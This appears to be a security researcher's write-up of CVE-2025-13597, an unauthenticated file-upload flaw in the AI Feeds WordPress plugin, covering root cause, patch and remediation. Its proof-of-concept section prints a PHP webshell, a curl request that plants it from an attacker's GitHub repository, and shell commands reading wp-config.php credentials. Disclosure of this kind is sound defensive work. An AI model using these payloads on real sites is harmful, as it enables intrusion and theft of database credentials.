AI Feeds WordPress plugin banner

CVE-2025-13597: Arbitrary File Upload in AI Feeds Plugin

CVE-2025-13597 is a CVSS 9.8 Critical unauthenticated arbitrary file upload vulnerability in the AI Feeds WordPress plugin. In all versions up to and including 1.0.11, an unauthenticated attacker can send a single HTTP request to overwrite plugin files with arbitrary content from a GitHub repository they control, making remote code execution possible with no credentials required.

Vulnerability Summary

FieldValue
Plugin NameAI Feeds
Plugin Slugai-feeds
CVE IDCVE-2025-13597
CVSS Score9.8 (Critical)
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Vulnerability TypeUnauthenticated Arbitrary File Upload (Unrestricted Upload of File with Dangerous Type)
Affected Versions<= 1.0.11
Patched Version1.0.12
PublishedNovember 25, 2025
ResearcherRyan Kozak
Wordfence AdvisoryLink

Description

The AI Feeds plugin for WordPress is vulnerable to arbitrary file uploads due to a missing capability check in the actualizador_git.php file in all versions up to, and including, 1.0.11. This makes it possible for unauthenticated attackers to download arbitrary GitHub repositories and overwrite plugin files on the affected site’s server, which may make remote code execution possible.

Technical Analysis

Vulnerable Code Path

The root cause is a standalone PHP script placed directly in the plugin’s root directory:

File: actualizador_git.php (lines 1–181)

This file is not included or registered anywhere in the main plugin bootstrap (ai-feeds.php). It is a raw PHP file sitting inside wp-content/plugins/ai-feeds/, making it directly accessible over HTTP with no authentication whatsoever.

Step 1 — GET parameters control the operation (lines 14–17):

$OWNER = $_GET['owner'] ?? 'cibeles';
$REPO  = $_GET['repo']  ?? 'svn_ai-feeds';
$REF   = $_GET['ref']   ?? 'main';
$TOKEN = $_GET['token'] ?? 'PON_AQUI_TU_TOKEN_PAT';

All four parameters that control what repository is downloaded are attacker-controlled GET parameters. No nonce, no WordPress capability check, no IP restriction — nothing.

Step 2 — The only “check” is trivially bypassable (line 26):

if ($TOKEN === '' || $TOKEN === 'PON_AQUI_TU_TOKEN_PAT') {
    http_response_code(400);
    exit("Falta token\n");
}

This simply checks that the token is not empty and not the hardcoded placeholder string PON_AQUI_TU_TOKEN_PAT. An attacker supplies their own valid GitHub Personal Access Token (PAT) — which can be freely obtained — and this check passes.

Step 3 — Downloads an arbitrary GitHub repository as ZIP (lines 31, 140–142):

$apiUrl = "https://api.github.com/repos/{$OWNER}/{$REPO}/zipball/" . rawurlencode($REF);
// ...
curl_download($apiUrl, $zip, $TOKEN);

The script constructs a GitHub API URL from attacker-supplied parameters, then downloads the ZIP of the attacker’s repository using curl.

Step 4 — Deletes existing plugin files and overwrites them (lines 158–169):

// 1) Build manifest of paths to keep (mirror)
$keepSet = build_manifest($rootInsideZip);
foreach ($PRESERVE as $p) { $keepSet[trim($p,'/')] = true; }

// 2) Delete from CWD everything not in the repo
mirror_delete_extras($cwd, $keepSet, $PRESERVE);

// 3) Copy the repo into CWD
rrcopy_into($rootInsideZip, $cwd, $PRESERVE);

The script builds a manifest of all files in the downloaded repository. It then deletes every file in getcwd() (the plugin folder) that is not in the attacker’s repo, and copies the attacker’s files in. Because getcwd() resolves to wp-content/plugins/ai-feeds/, everything written there is web-accessible.

Root Cause

actualizador_git.php was a developer utility script — a GitHub mirror tool. The plugin author used it to push updates from a private GitHub repository directly into a live installation. The plugin author accidentally shipped it with the production build. Because it is a standalone PHP file in the plugin folder:

  1. It is directly accessible via HTTP — no WordPress bootstrap is required.
  2. It has no authentication or authorization check — no is_user_logged_in(), no current_user_can(), no nonce, no secret key.
  3. All parameters that control what is downloaded and where files are written come from user-controlled GET input.

Failed Security Controls

WordPress’s built-in security model (nonces, capability checks) only protects code that runs through WordPress (i.e., via wp-load.php). This file bypasses WordPress entirely — it starts with declare(strict_types=1); and contains no require of wp-load.php or ABSPATH guard. Hitting the file URL directly executes plain PHP with full filesystem access.

The only control present — the token check on line 26 — is not a security boundary. It merely prevents accidental triggering with no token. An attacker simply supplies any valid GitHub PAT from their own account. That is enough to pass this check and gain full control of the operation.

Attack Impact

An unauthenticated attacker can:

Proof of Concept

Disclaimer: This PoC is provided for educational and defensive security research purposes only.

Prerequisites

Step-by-Step Reproduction

Step 1: Create a malicious GitHub repository

Create a new GitHub repository (e.g., attacker-account/malicious-plugin) containing a PHP webshell file:

# Create a file named shell.php in the repository with this content:
# <?php if(isset($_GET['cmd'])){system($_GET['cmd']);}?>

Push it to GitHub. Create a PAT at https://github.com/settings/tokens with repo (or contents: read) scope.

Step 2: Trigger the vulnerable endpoint

Send a GET request directly to the actualizador_git.php file on the target site. No authentication, no cookies, no WordPress session required:

curl "https://target.com/wp-content/plugins/ai-feeds/actualizador_git.php\
?owner=attacker-account\
&repo=malicious-plugin\
&ref=main\
&token=github_pat_XXXXXXXXXXXXXXXXXXXX"

Expected server response (confirming success):

Descargando attacker-account/malicious-plugin@main ...
Eliminando entradas extra...
Copiando archivos...
OK. Mirror aplicado en: /var/www/html/wp-content/plugins/ai-feeds

Step 3: Execute the webshell

The attacker’s shell.php is now present in the plugin directory and is web-accessible:

curl "https://target.com/wp-content/plugins/ai-feeds/shell.php?cmd=id"

Expected output:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Step 4: Escalate — read wp-config.php for database credentials

curl "https://target.com/wp-content/plugins/ai-feeds/shell.php\
?cmd=cat+/var/www/html/wp-config.php"

Expected Result

The attacker achieves unauthenticated Remote Code Execution as the web server user (www-data or equivalent). From there, they can read wp-config.php, dump the database (including all user password hashes), and create a new administrator account. The site is fully compromised.

Verification

After Step 2, verify the webshell is in place:

curl -I "https://target.com/wp-content/plugins/ai-feeds/shell.php"
# HTTP/1.1 200 OK  →  file exists and PHP is executing

After Step 3, a response containing uid= confirms code execution.

Patch Analysis

Changed Files

FileChange
actualizador_git.phpRenamed to actualizador_git.php.off
ai-feeds.phpVersion bumped to 1.0.12
includes/enqueue.phpVersion strings updated to 1.0.12
readme.txt + locale readmesChangelog entry added; stable tag bumped

Fix Explanation

The fix is a rename: actualizador_git.phpactualizador_git.php.off.

Renaming the file to .off makes it non-executable by PHP (the web server will not parse it as PHP). The file is not deleted — it still exists in the plugin directory — but the .off extension means Apache/Nginx will not invoke the PHP engine for it.

The changelog entry across all locale readme files reads:

Removed internal Git update helper script that was accessible directly

The fix addresses the symptom (the file being PHP-executable) rather than the root cause (missing authentication). A complete fix is to delete the file entirely. If the functionality is still needed, it should only run from the WordPress admin context, protected by a current_user_can('manage_options') check and a nonce.

Code Diff (Key Changes)

diff --git a/actualizador_git.php b/actualizador_git.php.off
similarity index 100%
rename from actualizador_git.php
rename to actualizador_git.php.off
+= 1.0.12 =
+* Removed internal Git update helper script that was accessible directly

Timeline

DateEvent
Before November 25, 2025Vulnerability discovered and reported by Ryan Kozak
November 25, 2025Publicly disclosed by Wordfence
November 25, 2025Patched version 1.0.12 released
December 22, 2025Plugin closed on WordPress.org plugin directory (Security Issue)

Remediation

Update the ai-feeds plugin to version 1.0.12 or later.

Note: As of December 22, 2025, this plugin has been closed on WordPress.org due to this security issue. If you are currently running any version of this plugin, we strongly recommend you deactivate and remove it entirely until a re-reviewed version becomes available in the plugin directory.

References

  1. plugins.trac.wordpress.org — actualizador_git.php source
  2. plugins.trac.wordpress.org — changeset 3402321 (the patch)
  3. github.com/d0n601/CVE-2025-13597 — Researcher’s PoC
  4. ryankozak.com — Researcher’s blog post
  5. CVE-2025-13597 — NVD/MITRE record
  6. Wordfence Advisory

If you found this post helpful, consider buying me a coffee. It keeps me writing!

Buy Me A Coffee